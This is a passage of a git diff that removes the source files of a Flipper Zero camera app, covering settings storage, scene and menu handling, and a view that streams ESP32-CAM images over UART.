fff_file = flipper_format_file_alloc(storage); - - // Overwrite wont work, so delete first - if(storage_file_exists(storage, BOILERPLATE_SETTINGS_SAVE_PATH)) { - storage_simply_remove(storage, BOILERPLATE_SETTINGS_SAVE_PATH); - } - - // Open File, create if not exists - if(!storage_common_stat(storage, BOILERPLATE_SETTINGS_SAVE_PATH, NULL) == FSE_OK) { - FURI_LOG_D( - TAG, "Config file %s is not found. Will create new.", BOILERPLATE_SETTINGS_SAVE_PATH); - if(storage_common_stat(storage, CONFIG_FILE_DIRECTORY_PATH, NULL) == FSE_NOT_EXIST) { - FURI_LOG_D( - TAG, "Directory %s doesn't exist. Will create new.", CONFIG_FILE_DIRECTORY_PATH); - if(!storage_simply_mkdir(storage, CONFIG_FILE_DIRECTORY_PATH)) { - FURI_LOG_E(TAG, "Error creating directory %s", CONFIG_FILE_DIRECTORY_PATH); - } - } - } - - if(!flipper_format_file_open_new(fff_file, BOILERPLATE_SETTINGS_SAVE_PATH)) { - //totp_close_config_file(fff_file); - FURI_LOG_E(TAG, "Error creating new file %s", BOILERPLATE_SETTINGS_SAVE_PATH); - camera_suite_close_storage(); - return; - } - - // Store Settings - flipper_format_write_header_cstr( - fff_file, BOILERPLATE_SETTINGS_HEADER, BOILERPLATE_SETTINGS_FILE_VERSION); - flipper_format_write_uint32( - fff_file, BOILERPLATE_SETTINGS_KEY_ORIENTATION, &app->orientation, 1); - flipper_format_write_uint32(fff_file, BOILERPLATE_SETTINGS_KEY_HAPTIC, &app->haptic, 1); - flipper_format_write_uint32(fff_file, BOILERPLATE_SETTINGS_KEY_SPEAKER, &app->speaker, 1); - flipper_format_write_uint32(fff_file, BOILERPLATE_SETTINGS_KEY_LED, &app->led, 1); - - if(!flipper_format_rewind(fff_file)) { - camera_suite_close_config_file(fff_file); - FURI_LOG_E(TAG, "Rewind error"); - camera_suite_close_storage(); - return; - } - - camera_suite_close_config_file(fff_file); - camera_suite_close_storage(); -} - -void camera_suite_read_settings(void* context) { - CameraSuite* app = context; - Storage* storage = camera_suite_open_storage(); - FlipperFormat* fff_file = flipper_format_file_alloc(storage); - - if(storage_common_stat(storage, BOILERPLATE_SETTINGS_SAVE_PATH, NULL) != FSE_OK) { - camera_suite_close_config_file(fff_file); - camera_suite_close_storage(); - return; - } - uint32_t file_version; - FuriString* temp_str = furi_string_alloc(); - - if(!flipper_format_file_open_existing(fff_file, BOILERPLATE_SETTINGS_SAVE_PATH)) { - FURI_LOG_E(TAG, "Cannot open file %s", BOILERPLATE_SETTINGS_SAVE_PATH); - camera_suite_close_config_file(fff_file); - camera_suite_close_storage(); - return; - } - - if(!flipper_format_read_header(fff_file, temp_str, &file_version)) { - FURI_LOG_E(TAG, "Missing Header Data"); - camera_suite_close_config_file(fff_file); - camera_suite_close_storage(); - return; - } - - if(file_version < BOILERPLATE_SETTINGS_FILE_VERSION) { - FURI_LOG_I(TAG, "old config version, will be removed."); - camera_suite_close_config_file(fff_file); - camera_suite_close_storage(); - return; - } - - flipper_format_read_uint32( - fff_file, BOILERPLATE_SETTINGS_KEY_ORIENTATION, &app->orientation, 1); - flipper_format_read_uint32(fff_file, BOILERPLATE_SETTINGS_KEY_HAPTIC, &app->haptic, 1); - flipper_format_read_uint32(fff_file, BOILERPLATE_SETTINGS_KEY_SPEAKER, &app->speaker, 1); - flipper_format_read_uint32(fff_file, BOILERPLATE_SETTINGS_KEY_LED, &app->led, 1); - - flipper_format_rewind(fff_file); - - camera_suite_close_config_file(fff_file); - camera_suite_close_storage(); -} \ No newline at end of file diff --git a/applications/external/camera_suite/helpers/camera_suite_storage.h b/applications/external/camera_suite/helpers/camera_suite_storage.h deleted file mode 100644 index 37e82d722..000000000 --- a/applications/external/camera_suite/helpers/camera_suite_storage.h +++ /dev/null @@ -1,20 +0,0 @@ -#include -#include -#include -#include -#include "../camera_suite.h" - -#define BOILERPLATE_SETTINGS_FILE_VERSION 1 -#define CONFIG_FILE_DIRECTORY_PATH EXT_PATH("apps_data/camera_suite") -#define BOILERPLATE_SETTINGS_SAVE_PATH CONFIG_FILE_DIRECTORY_PATH "/camera_suite.conf" -#define BOILERPLATE_SETTINGS_SAVE_PATH_TMP BOILERPLATE_SETTINGS_SAVE_PATH ".tmp" -#define BOILERPLATE_SETTINGS_HEADER "Camera Suite Config File" -#define BOILERPLATE_SETTINGS_KEY_ORIENTATION "Orientation" -#define BOILERPLATE_SETTINGS_KEY_HAPTIC "Haptic" -#define BOILERPLATE_SETTINGS_KEY_LED "Led" -#define BOILERPLATE_SETTINGS_KEY_SPEAKER "Speaker" -#define BOILERPLATE_SETTINGS_KEY_SAVE_SETTINGS "SaveSettings" - -void camera_suite_save_settings(void* context); - -void camera_suite_read_settings(void* context); diff --git a/applications/external/camera_suite/icons/camera_suite.png b/applications/external/camera_suite/icons/camera_suite.png deleted file mode 100644 index cee545bb9..000000000 Binary files a/applications/external/camera_suite/icons/camera_suite.png and /dev/null differ diff --git a/applications/external/camera_suite/scenes/camera_suite_scene.c b/applications/external/camera_suite/scenes/camera_suite_scene.c deleted file mode 100644 index c503fab5d..000000000 --- a/applications/external/camera_suite/scenes/camera_suite_scene.c +++ /dev/null @@ -1,30 +0,0 @@ -#include "camera_suite_scene.h" - -// Generate scene on_enter handlers array -#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_enter, -void (*const camera_suite_on_enter_handlers[])(void*) = { -#include "camera_suite_scene_config.h" -}; -#undef ADD_SCENE - -// Generate scene on_event handlers array -#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_event, -bool (*const camera_suite_on_event_handlers[])(void* context, SceneManagerEvent event) = { -#include "camera_suite_scene_config.h" -}; -#undef ADD_SCENE - -// Generate scene on_exit handlers array -#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_exit, -void (*const camera_suite_on_exit_handlers[])(void* context) = { -#include "camera_suite_scene_config.h" -}; -#undef ADD_SCENE - -// Initialize scene handlers configuration structure -const SceneManagerHandlers camera_suite_scene_handlers = { - .on_enter_handlers = camera_suite_on_enter_handlers, - .on_event_handlers = camera_suite_on_event_handlers, - .on_exit_handlers = camera_suite_on_exit_handlers, - .scene_num = CameraSuiteSceneNum, -}; diff --git a/applications/external/camera_suite/scenes/camera_suite_scene.h b/applications/external/camera_suite/scenes/camera_suite_scene.h deleted file mode 100644 index 2d88b126d..000000000 --- a/applications/external/camera_suite/scenes/camera_suite_scene.h +++ /dev/null @@ -1,29 +0,0 @@ -#pragma once - -#include - -// Generate scene id and total number -#define ADD_SCENE(prefix, name, id) CameraSuiteScene##id, -typedef enum { -#include "camera_suite_scene_config.h" - CameraSuiteSceneNum, -} CameraSuiteScene; -#undef ADD_SCENE - -extern const SceneManagerHandlers camera_suite_scene_handlers; - -// Generate scene on_enter handlers declaration -#define ADD_SCENE(prefix, name, id) void prefix##_scene_##name##_on_enter(void*); -#include "camera_suite_scene_config.h" -#undef ADD_SCENE - -// Generate scene on_event handlers declaration -#define ADD_SCENE(prefix, name, id) \ - bool prefix##_scene_##name##_on_event(void* context, SceneManagerEvent event); -#include "camera_suite_scene_config.h" -#undef ADD_SCENE - -// Generate scene on_exit handlers declaration -#define ADD_SCENE(prefix, name, id) void prefix##_scene_##name##_on_exit(void* context); -#include "camera_suite_scene_config.h" -#undef ADD_SCENE diff --git a/applications/external/camera_suite/scenes/camera_suite_scene_camera.c b/applications/external/camera_suite/scenes/camera_suite_scene_camera.c deleted file mode 100644 index 809d9a5c1..000000000 --- a/applications/external/camera_suite/scenes/camera_suite_scene_camera.c +++ /dev/null @@ -1,52 +0,0 @@ -#include "../camera_suite.h" -#include "../helpers/camera_suite_custom_event.h" -#include "../views/camera_suite_view_camera.h" - -void camera_suite_view_camera_callback(CameraSuiteCustomEvent event, void* context) { - furi_assert(context); - CameraSuite* app = context; - view_dispatcher_send_custom_event(app->view_dispatcher, event); -} - -void camera_suite_scene_camera_on_enter(void* context) { - furi_assert(context); - CameraSuite* app = context; - camera_suite_view_camera_set_callback( - app->camera_suite_view_camera, camera_suite_view_camera_callback, app); - view_dispatcher_switch_to_view(app->view_dispatcher, CameraSuiteViewIdCamera); -} - -bool camera_suite_scene_camera_on_event(void* context, SceneManagerEvent event) { - CameraSuite* app = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - switch(event.event) { - case CameraSuiteCustomEventSceneCameraLeft: - case CameraSuiteCustomEventSceneCameraRight: - case CameraSuiteCustomEventSceneCameraUp: - case CameraSuiteCustomEventSceneCameraDown: - case CameraSuiteCustomEventSceneCameraOk: - // Do nothing. - break; - case CameraSuiteCustomEventSceneCameraBack: - notification_message(app->notification, &sequence_reset_red); - notification_message(app->notification, &sequence_reset_green); - notification_message(app->notification, &sequence_reset_blue); - if(!scene_manager_search_and_switch_to_previous_scene( - app->scene_manager, CameraSuiteSceneMenu)) { - scene_manager_stop(app->scene_manager); - view_dispatcher_stop(app->view_dispatcher); - } - consumed = true; - break; - } - } - - return consumed; -} - -void camera_suite_scene_camera_on_exit(void* context) { - CameraSuite* app = context; - UNUSED(app); -} diff --git a/applications/external/camera_suite/scenes/camera_suite_scene_config.h b/applications/external/camera_suite/scenes/camera_suite_scene_config.h deleted file mode 100644 index 2cb9245ef..000000000 --- a/applications/external/camera_suite/scenes/camera_suite_scene_config.h +++ /dev/null @@ -1,5 +0,0 @@ -ADD_SCENE(camera_suite, start, Start) -ADD_SCENE(camera_suite, menu, Menu) -ADD_SCENE(camera_suite, camera, Camera) -ADD_SCENE(camera_suite, guide, Guide) -ADD_SCENE(camera_suite, settings, Settings) \ No newline at end of file diff --git a/applications/external/camera_suite/scenes/camera_suite_scene_guide.c b/applications/external/camera_suite/scenes/camera_suite_scene_guide.c deleted file mode 100644 index 6599058ef..000000000 --- a/applications/external/camera_suite/scenes/camera_suite_scene_guide.c +++ /dev/null @@ -1,51 +0,0 @@ -#include "../camera_suite.h" -#include "../helpers/camera_suite_custom_event.h" -#include "../views/camera_suite_view_guide.h" - -void camera_suite_view_guide_callback(CameraSuiteCustomEvent event, void* context) { - furi_assert(context); - CameraSuite* app = context; - view_dispatcher_send_custom_event(app->view_dispatcher, event); -} - -void camera_suite_scene_guide_on_enter(void* context) { - furi_assert(context); - CameraSuite* app = context; - camera_suite_view_guide_set_callback( - app->camera_suite_view_guide, camera_suite_view_guide_callback, app); - view_dispatcher_switch_to_view(app->view_dispatcher, CameraSuiteViewIdGuide); -} - -bool camera_suite_scene_guide_on_event(void* context, SceneManagerEvent event) { - CameraSuite* app = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - switch(event.event) { - case CameraSuiteCustomEventSceneGuideLeft: - case CameraSuiteCustomEventSceneGuideRight: - case CameraSuiteCustomEventSceneGuideUp: - case CameraSuiteCustomEventSceneGuideDown: - // Do nothing. - break; - case CameraSuiteCustomEventSceneGuideBack: - notification_message(app->notification, &sequence_reset_red); - notification_message(app->notification, &sequence_reset_green); - notification_message(app->notification, &sequence_reset_blue); - if(!scene_manager_search_and_switch_to_previous_scene( - app->scene_manager, CameraSuiteSceneMenu)) { - scene_manager_stop(app->scene_manager); - view_dispatcher_stop(app->view_dispatcher); - } - consumed = true; - break; - } - } - - return consumed; -} - -void camera_suite_scene_guide_on_exit(void* context) { - CameraSuite* app = context; - UNUSED(app); -} \ No newline at end of file diff --git a/applications/external/camera_suite/scenes/camera_suite_scene_menu.c b/applications/external/camera_suite/scenes/camera_suite_scene_menu.c deleted file mode 100644 index ae37e11b6..000000000 --- a/applications/external/camera_suite/scenes/camera_suite_scene_menu.c +++ /dev/null @@ -1,73 +0,0 @@ -#include "../camera_suite.h" - -enum SubmenuIndex { - /** Camera. */ - SubmenuIndexSceneCamera = 10, - /** Guide/how-to. */ - SubmenuIndexGuide, - /** Settings menu. */ - SubmenuIndexSettings, -}; - -void camera_suite_scene_menu_submenu_callback(void* context, uint32_t index) { - CameraSuite* app = context; - view_dispatcher_send_custom_event(app->view_dispatcher, index); -} - -void camera_suite_scene_menu_on_enter(void* context) { - CameraSuite* app = context; - - submenu_add_item( - app->submenu, - "Open Camera", - SubmenuIndexSceneCamera, - camera_suite_scene_menu_submenu_callback, - app); - submenu_add_item( - app->submenu, "Guide", SubmenuIndexGuide, camera_suite_scene_menu_submenu_callback, app); - submenu_add_item( - app->submenu, - "Settings", - SubmenuIndexSettings, - camera_suite_scene_menu_submenu_callback, - app); - - submenu_set_selected_item( - app->submenu, scene_manager_get_scene_state(app->scene_manager, CameraSuiteSceneMenu)); - - view_dispatcher_switch_to_view(app->view_dispatcher, CameraSuiteViewIdMenu); -} - -bool camera_suite_scene_menu_on_event(void* context, SceneManagerEvent event) { - CameraSuite* app = context; - UNUSED(app); - if(event.type == SceneManagerEventTypeBack) { - // Exit application. - scene_manager_stop(app->scene_manager); - view_dispatcher_stop(app->view_dispatcher); - return true; - } else if(event.type == SceneManagerEventTypeCustom) { - if(event.event == SubmenuIndexSceneCamera) { - scene_manager_set_scene_state( - app->scene_manager, CameraSuiteSceneMenu, SubmenuIndexSceneCamera); - scene_manager_next_scene(app->scene_manager, CameraSuiteSceneCamera); - return true; - } else if(event.event == SubmenuIndexGuide) { - scene_manager_set_scene_state( - app->scene_manager, CameraSuiteSceneMenu, SubmenuIndexGuide); - scene_manager_next_scene(app->scene_manager, CameraSuiteSceneGuide); - return true; - } else if(event.event == SubmenuIndexSettings) { - scene_manager_set_scene_state( - app->scene_manager, CameraSuiteSceneMenu, SubmenuIndexSettings); - scene_manager_next_scene(app->scene_manager, CameraSuiteSceneSettings); - return true; - } - } - return false; -} - -void camera_suite_scene_menu_on_exit(void* context) { - CameraSuite* app = context; - submenu_reset(app->submenu); -} \ No newline at end of file diff --git a/applications/external/camera_suite/scenes/camera_suite_scene_settings.c b/applications/external/camera_suite/scenes/camera_suite_scene_settings.c deleted file mode 100644 index a06b45fe9..000000000 --- a/applications/external/camera_suite/scenes/camera_suite_scene_settings.c +++ /dev/null @@ -1,137 +0,0 @@ -#include "../camera_suite.h" -#include - -// Camera orientation, in degrees. -const char* const orientation_text[4] = { - "0", - "90", - "180", - "270", -}; - -const uint32_t orientation_value[4] = { - CameraSuiteOrientation0, - CameraSuiteOrientation90, - CameraSuiteOrientation180, - CameraSuiteOrientation270, -}; - -const char* const haptic_text[2] = { - "OFF", - "ON", -}; - -const uint32_t haptic_value[2] = { - CameraSuiteHapticOff, - CameraSuiteHapticOn, -}; - -const char* const speaker_text[2] = { - "OFF", - "ON", -}; - -const uint32_t speaker_value[2] = { - CameraSuiteSpeakerOff, - CameraSuiteSpeakerOn, -}; - -const char* const led_text[2] = { - "OFF", - "ON", -}; - -const uint32_t led_value[2] = { - CameraSuiteLedOff, - CameraSuiteLedOn, -}; - -static void camera_suite_scene_settings_set_camera_orientation(VariableItem* item) { - CameraSuite* app = variable_item_get_context(item); - uint8_t index = variable_item_get_current_value_index(item); - - variable_item_set_current_value_text(item, orientation_text[index]); - app->orientation = orientation_value[index]; -} - -static void camera_suite_scene_settings_set_haptic(VariableItem* item) { - CameraSuite* app = variable_item_get_context(item); - uint8_t index = variable_item_get_current_value_index(item); - - variable_item_set_current_value_text(item, haptic_text[index]); - app->haptic = haptic_value[index]; -} - -static void camera_suite_scene_settings_set_speaker(VariableItem* item) { - CameraSuite* app = variable_item_get_context(item); - uint8_t index = variable_item_get_current_value_index(item); - variable_item_set_current_value_text(item, speaker_text[index]); - app->speaker = speaker_value[index]; -} - -static void camera_suite_scene_settings_set_led(VariableItem* item) { - CameraSuite* app = variable_item_get_context(item); - uint8_t index = variable_item_get_current_value_index(item); - variable_item_set_current_value_text(item, led_text[index]); - app->led = led_value[index]; -} - -void camera_suite_scene_settings_submenu_callback(void* context, uint32_t index) { - CameraSuite* app = context; - view_dispatcher_send_custom_event(app->view_dispatcher, index); -} - -void camera_suite_scene_settings_on_enter(void* context) { - CameraSuite* app = context; - VariableItem* item; - uint8_t value_index; - - // Camera Orientation - item = variable_item_list_add( - app->variable_item_list, - "Orientation:", - 4, - camera_suite_scene_settings_set_camera_orientation, - app); - value_index = value_index_uint32(app->orientation, orientation_value, 4); - variable_item_set_current_value_index(item, value_index); - variable_item_set_current_value_text(item, orientation_text[value_index]); - - // Haptic FX ON/OFF - item = variable_item_list_add( - app->variable_item_list, "Haptic FX:", 2, camera_suite_scene_settings_set_haptic, app); - value_index = value_index_uint32(app->haptic, haptic_value, 2); - variable_item_set_current_value_index(item, value_index); - variable_item_set_current_value_text(item, haptic_text[value_index]); - - // Sound FX ON/OFF - item = variable_item_list_add( - app->variable_item_list, "Sound FX:", 2, camera_suite_scene_settings_set_speaker, app); - value_index = value_index_uint32(app->speaker, speaker_value, 2); - variable_item_set_current_value_index(item, value_index); - variable_item_set_current_value_text(item, speaker_text[value_index]); - - // LED FX ON/OFF - item = variable_item_list_add( - app->variable_item_list, "LED FX:", 2, camera_suite_scene_settings_set_led, app); - value_index = value_index_uint32(app->led, led_value, 2); - variable_item_set_current_value_index(item, value_index); - variable_item_set_current_value_text(item, led_text[value_index]); - - view_dispatcher_switch_to_view(app->view_dispatcher, CameraSuiteViewIdSettings); -} - -bool camera_suite_scene_settings_on_event(void* context, SceneManagerEvent event) { - CameraSuite* app = context; - UNUSED(app); - bool consumed = false; - if(event.type == SceneManagerEventTypeCustom) { - } - return consumed; -} - -void camera_suite_scene_settings_on_exit(void* context) { - CameraSuite* app = context; - variable_item_list_set_selected_item(app->variable_item_list, 0); - variable_item_list_reset(app->variable_item_list); -} \ No newline at end of file diff --git a/applications/external/camera_suite/scenes/camera_suite_scene_start.c b/applications/external/camera_suite/scenes/camera_suite_scene_start.c deleted file mode 100644 index 0dda05ede..000000000 --- a/applications/external/camera_suite/scenes/camera_suite_scene_start.c +++ /dev/null @@ -1,55 +0,0 @@ -#include "../camera_suite.h" -#include "../helpers/camera_suite_custom_event.h" -#include "../views/camera_suite_view_start.h" - -void camera_suite_scene_start_callback(CameraSuiteCustomEvent event, void* context) { - furi_assert(context); - CameraSuite* app = context; - view_dispatcher_send_custom_event(app->view_dispatcher, event); -} - -void camera_suite_scene_start_on_enter(void* context) { - furi_assert(context); - CameraSuite* app = context; - camera_suite_view_start_set_callback( - app->camera_suite_view_start, camera_suite_scene_start_callback, app); - view_dispatcher_switch_to_view(app->view_dispatcher, CameraSuiteViewIdStartscreen); -} - -bool camera_suite_scene_start_on_event(void* context, SceneManagerEvent event) { - CameraSuite* app = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - switch(event.event) { - case CameraSuiteCustomEventStartLeft: - case CameraSuiteCustomEventStartRight: - case CameraSuiteCustomEventStartUp: - case CameraSuiteCustomEventStartDown: - // Do nothing. - break; - case CameraSuiteCustomEventStartOk: - scene_manager_next_scene(app->scene_manager, CameraSuiteSceneMenu); - consumed = true; - break; - case CameraSuiteCustomEventStartBack: - notification_message(app->notification, &sequence_reset_red); - notification_message(app->notification, &sequence_reset_green); - notification_message(app->notification, &sequence_reset_blue); - if(!scene_manager_search_and_switch_to_previous_scene( - app->scene_manager, CameraSuiteSceneStart)) { - scene_manager_stop(app->scene_manager); - view_dispatcher_stop(app->view_dispatcher); - } - consumed = true; - break; - } - } - - return consumed; -} - -void camera_suite_scene_start_on_exit(void* context) { - CameraSuite* app = context; - UNUSED(app); -} \ No newline at end of file diff --git a/applications/external/camera_suite/views/camera_suite_view_camera.c b/applications/external/camera_suite/views/camera_suite_view_camera.c deleted file mode 100644 index 94b8a8639..000000000 --- a/applications/external/camera_suite/views/camera_suite_view_camera.c +++ /dev/null @@ -1,386 +0,0 @@ -#include "../camera_suite.h" -#include -#include -#include -#include -#include -#include "../helpers/camera_suite_haptic.h" -#include "../helpers/camera_suite_speaker.h" -#include "../helpers/camera_suite_led.h" - -static CameraSuiteViewCamera* current_instance = NULL; - -struct CameraSuiteViewCamera { - CameraSuiteViewCameraCallback callback; - FuriStreamBuffer* rx_stream; - FuriThread* worker_thread; - View* view; - void* context; -}; - -void camera_suite_view_camera_set_callback( - CameraSuiteViewCamera* instance, - CameraSuiteViewCameraCallback callback, - void* context) { - furi_assert(instance); - furi_assert(callback); - instance->callback = callback; - instance->context = context; -} - -// Function to draw pixels on the canvas based on camera orientation -static void draw_pixel_by_orientation(Canvas* canvas, uint8_t x, uint8_t y, uint8_t orientation) { - switch(orientation) { - case 0: // Camera rotated 0 degrees (right side up, default) - canvas_draw_dot(canvas, x, y); - break; - case 1: // Camera rotated 90 degrees - canvas_draw_dot(canvas, y, FRAME_WIDTH - 1 - x); - break; - case 2: // Camera rotated 180 degrees (upside down) - canvas_draw_dot(canvas, FRAME_WIDTH - 1 - x, FRAME_HEIGHT - 1 - y); - break; - case 3: // Camera rotated 270 degrees - canvas_draw_dot(canvas, FRAME_HEIGHT - 1 - y, x); - break; - default: - break; - } -} - -static void camera_suite_view_camera_draw(Canvas* canvas, void* _model) { - UartDumpModel* model = _model; - - // Clear the screen. - canvas_set_color(canvas, ColorBlack); - - // Draw the frame. - canvas_draw_frame(canvas, 0, 0, FRAME_WIDTH, FRAME_HEIGHT); - - CameraSuite* app = current_instance->context; - - for(size_t p = 0; p < FRAME_BUFFER_LENGTH; ++p) { - uint8_t x = p % ROW_BUFFER_LENGTH; // 0 .. 15 - uint8_t y = p / ROW_BUFFER_LENGTH; // 0 .. 63 - - for(uint8_t i = 0; i < 8; ++i) { - if((model->pixels[p] & (1 << (7 - i))) != 0) { - draw_pixel_by_orientation(canvas, (x * 8) + i, y, app->orientation); - } - } - } - - // Draw the guide if the camera is not initialized. - if(!model->initialized) { - canvas_draw_icon(canvas, 74, 16, &I_DolphinCommon_56x48); - canvas_set_font(canvas, FontSecondary); - canvas_draw_str(canvas, 8, 12, "Connect the ESP32-CAM"); - canvas_draw_str(canvas, 20, 24, "VCC - 3V3"); - canvas_draw_str(canvas, 20, 34, "GND - GND"); - canvas_draw_str(canvas, 20, 44, "U0R - TX"); - canvas_draw_str(canvas, 20, 54, "U0T - RX"); - } -} - -static void camera_suite_view_camera_model_init(UartDumpModel* const model) { - for(size_t i = 0; i < FRAME_BUFFER_LENGTH; i++) { - model->pixels[i] = 0; - } -} - -static bool camera_suite_view_camera_input(InputEvent* event, void* context) { - furi_assert(context); - CameraSuiteViewCamera* instance = context; - if(event->type == InputTypeRelease) { - switch(event->key) { - default: // Stop all sounds, reset the LED. - with_view_model( - instance->view, - UartDumpModel * model, - { - UNUSED(model); - camera_suite_play_bad_bump(instance->context); - camera_suite_stop_all_sound(instance->context); - camera_suite_led_set_rgb(instance->context, 0, 0, 0); - }, - true); - break; - } - // Send `data` to the ESP32-CAM - } else if(event->type == InputTypePress) { - uint8_t data[1]; - switch(event->key) { - case InputKeyBack: - // Stop the camera stream. - data[0] = 's'; - // Go back to the main menu. - with_view_model( - instance->view, - UartDumpModel * model, - { - UNUSED(model); - instance->callback(CameraSuiteCustomEventSceneCameraBack, instance->context); - }, - true); - break; - case InputKeyLeft: - // Camera: Invert. - data[0] = '<'; - with_view_model( - instance->view, - UartDumpModel * model, - { - UNUSED(model); - camera_suite_play_happy_bump(instance->context); - camera_suite_play_input_sound(instance->context); - camera_suite_led_set_rgb(instance->context, 0, 0, 255); - instance->callback(CameraSuiteCustomEventSceneCameraLeft, instance->context); - }, - true); - break; - case InputKeyRight: - // Camera: Enable/disable dithering. - data[0] = '>'; - with_view_model( - instance->view, - UartDumpModel * model, - { - UNUSED(model); - camera_suite_play_happy_bump(instance->context); - camera_suite_play_input_sound(instance->context); - camera_suite_led_set_rgb(instance->context, 0, 0, 255); - instance->callback(CameraSuiteCustomEventSceneCameraRight, instance->context); - }, - true); - break; - case InputKeyUp: - // Camera: Increase contrast. - data[0] = 'C'; - with_view_model( - instance->view, - UartDumpModel * model, - { - UNUSED(model); - camera_suite_play_happy_bump(instance->context); - camera_suite_play_input_sound(instance->context); - camera_suite_led_set_rgb(instance->context, 0, 0, 255); - instance->callback(CameraSuiteCustomEventSceneCameraUp, instance->context); - }, - true); - break; - case InputKeyDown: - // Camera: Reduce contrast. - data[0] = 'c'; - with_view_model( - instance->view, - UartDumpModel * model, - { - UNUSED(model); - camera_suite_play_happy_bump(instance->context); - camera_suite_play_input_sound(instance->context); - camera_suite_led_set_rgb(instance->context, 0, 0, 255); - instance->callback(CameraSuiteCustomEventSceneCameraDown, instance->context); - }, - true); - break; - case InputKeyOk: - // Switch dithering types. - data[0] = 'D'; - with_view_model( - instance->view, - UartDumpModel * model, - { - UNUSED(model); - camera_suite_play_happy_bump(instance->context); - camera_suite_play_input_sound(instance->context); - camera_suite_led_set_rgb(instance->context, 0, 0, 255); - instance->callback(CameraSuiteCustomEventSceneCameraOk, instance->context); - }, - true); - break; - case InputKeyMAX: - break; - } - // Send `data` to the ESP32-CAM - furi_hal_uart_tx(UART_CH, data, 1); - } - return true; -} - -static void camera_suite_view_camera_exit(void* context) { - furi_assert(context); -} - -static void camera_suite_view_camera_enter(void* context) { - // Check `context` for null. If it is null, abort program, else continue. - furi_assert(context); - - // Cast `context` to `CameraSuiteViewCamera*` and store it in `instance`. - CameraSuiteViewCamera* instance = (CameraSuiteViewCamera*)context; - - // Assign the current instance to the global variable - current_instance = instance; - - uint8_t data[1]; - data[0] = 'S'; // Uppercase `S` to start the camera - // Send `data` to the ESP32-CAM - furi_hal_uart_tx(UART_CH, data, 1); - - with_view_model( - instance->view, - UartDumpModel * model, - { camera_suite_view_camera_model_init(model); }, - true); -} - -static void camera_on_irq_cb(UartIrqEvent uartIrqEvent, uint8_t data, void* context) { - // Check `context` for null. If it is null, abort program, else continue. - furi_assert(context); - - // Cast `context` to `CameraSuiteViewCamera*` and store it in `instance`. - CameraSuiteViewCamera* instance = context; - - // If `uartIrqEvent` is `UartIrqEventRXNE`, send the data to the - // `rx_stream` and set the `WorkerEventRx` flag. - if(uartIrqEvent == UartIrqEventRXNE) { - furi_stream_buffer_send(instance->rx_stream, &data, 1, 0); - furi_thread_flags_set(furi_thread_get_id(instance->worker_thread), WorkerEventRx); - } -} - -static void process_ringbuffer(UartDumpModel* model, uint8_t byte) { - // First char has to be 'Y' in the buffer. - if(model->ringbuffer_index == 0 && byte != 'Y') { - return; - } - - // Second char has to be ':' in the buffer or reset. - if(model->ringbuffer_index == 1 && byte != ':') { - model->ringbuffer_index = 0; - process_ringbuffer(model, byte); - return; - } - - // Assign current byte to the ringbuffer. - model->row_ringbuffer[model->ringbuffer_index] = byte; - // Increment the ringbuffer index. - ++model->ringbuffer_index; - - // Let's wait 'till the buffer fills. - if(model->ringbuffer_index < RING_BUFFER_LENGTH) { - return; - } - - // Flush the ringbuffer to the framebuffer. - model->ringbuffer_index = 0; // Reset the ringbuffer - model->initialized = true; // Established the connection successfully. - size_t row_start_index = - model->row_ringbuffer[2] * ROW_BUFFER_LENGTH; // Third char will determine the row number - - if(row_start_index > LAST_ROW_INDEX) { // Failsafe - row_start_index = 0; - } - - for(size_t i = 0; i < ROW_BUFFER_LENGTH; ++i) { - model->pixels[row_start_index + i] = - model->row_ringbuffer[i + 3]; // Writing the remaining 16 bytes into the frame buffer - } -} - -static int32_t camera_worker(void* context) { - furi_assert(context); - CameraSuiteViewCamera* instance = context; - - while(1) { - uint32_t events = - furi_thread_flags_wait(WORKER_EVENTS_MASK, FuriFlagWaitAny, FuriWaitForever); - furi_check((events & FuriFlagError) == 0); - - if(events & WorkerEventStop) { - break; - } else if(events & WorkerEventRx) { - size_t length = 0; - do { - size_t intended_data_size = 64; - uint8_t data[intended_data_size]; - length = - furi_stream_buffer_receive(instance->rx_stream, data, intended_data_size, 0); - - if(length > 0) { - with_view_model( - instance->view, - UartDumpModel * model, - { - for(size_t i = 0; i < length; i++) { - process_ringbuffer(model, data[i]); - } - }, - false); - } - } while(length > 0); - - with_view_model( - instance->view, UartDumpModel * model, { UNUSED(model); }, true); - } - } - - return 0; -} - -CameraSuiteViewCamera* camera_suite_view_camera_alloc() { - CameraSuiteViewCamera* instance = malloc(sizeof(CameraSuiteViewCamera)); - - instance->view = view_alloc(); - - instance->rx_stream = furi_stream_buffer_alloc(2048, 1); - - // Set up views - view_allocate_model(instance->view, ViewModelTypeLocking, sizeof(UartDumpModel)); - view_set_context(instance->view, instance); // furi_assert crashes in events without this - view_set_draw_callback(instance->view, (ViewDrawCallback)camera_suite_view_camera_draw); - view_set_input_callback(instance->view, camera_suite_view_camera_input); - view_set_enter_callback(instance->view, camera_suite_view_camera_enter); - view_set_exit_callback(instance->view, camera_suite_view_camera_exit); - - with_view_model( - instance->view, - UartDumpModel * model, - { camera_suite_view_camera_model_init(model); }, - true); - - instance->worker_thread = furi_thread_alloc_ex("UsbUartWorker", 2048, camera_worker, instance); - furi_thread_start(instance->worker_thread); - - // Enable uart listener - if(UART_CH == FuriHalUartIdUSART1) { - furi_hal_console_disable(); - } else if(UART_CH == FuriHalUartIdLPUART1) { - furi_hal_uart_init(UART_CH, 230400); - } - furi_hal_uart_set_br(UART_CH, 230400); - furi_hal_uart_set_irq_cb(UART_CH, camera_on_irq_cb, instance); - - return instance; -} - -void camera_suite_view_camera_free(CameraSuiteViewCamera* instance) { - furi_assert(instance); - - with_view_model( - instance->view, UartDumpModel * model, { UNUSED(model); }, true); - view_free(instance->view); - free(instance); - - furi_hal_uart_set_irq_cb(UART_CH, NULL, NULL); - - if(UART_CH == FuriHalUartIdLPUART1) { - furi_hal_uart_deinit(UART_CH); - } else { - furi_hal_console_enable(); - } -} - -View* camera_suite_view_camera_get_view(CameraSuiteViewCamera* instance) { - furi_assert(instance); - return instance->view; -} diff --git a/applications/external/camera_suite/views/camera_suite_view_camera.h b/applications/external/camera_suite/views/camera_suite_view_camera.h deleted file mode 100644 index 4e2f29ddc..000000000 --- 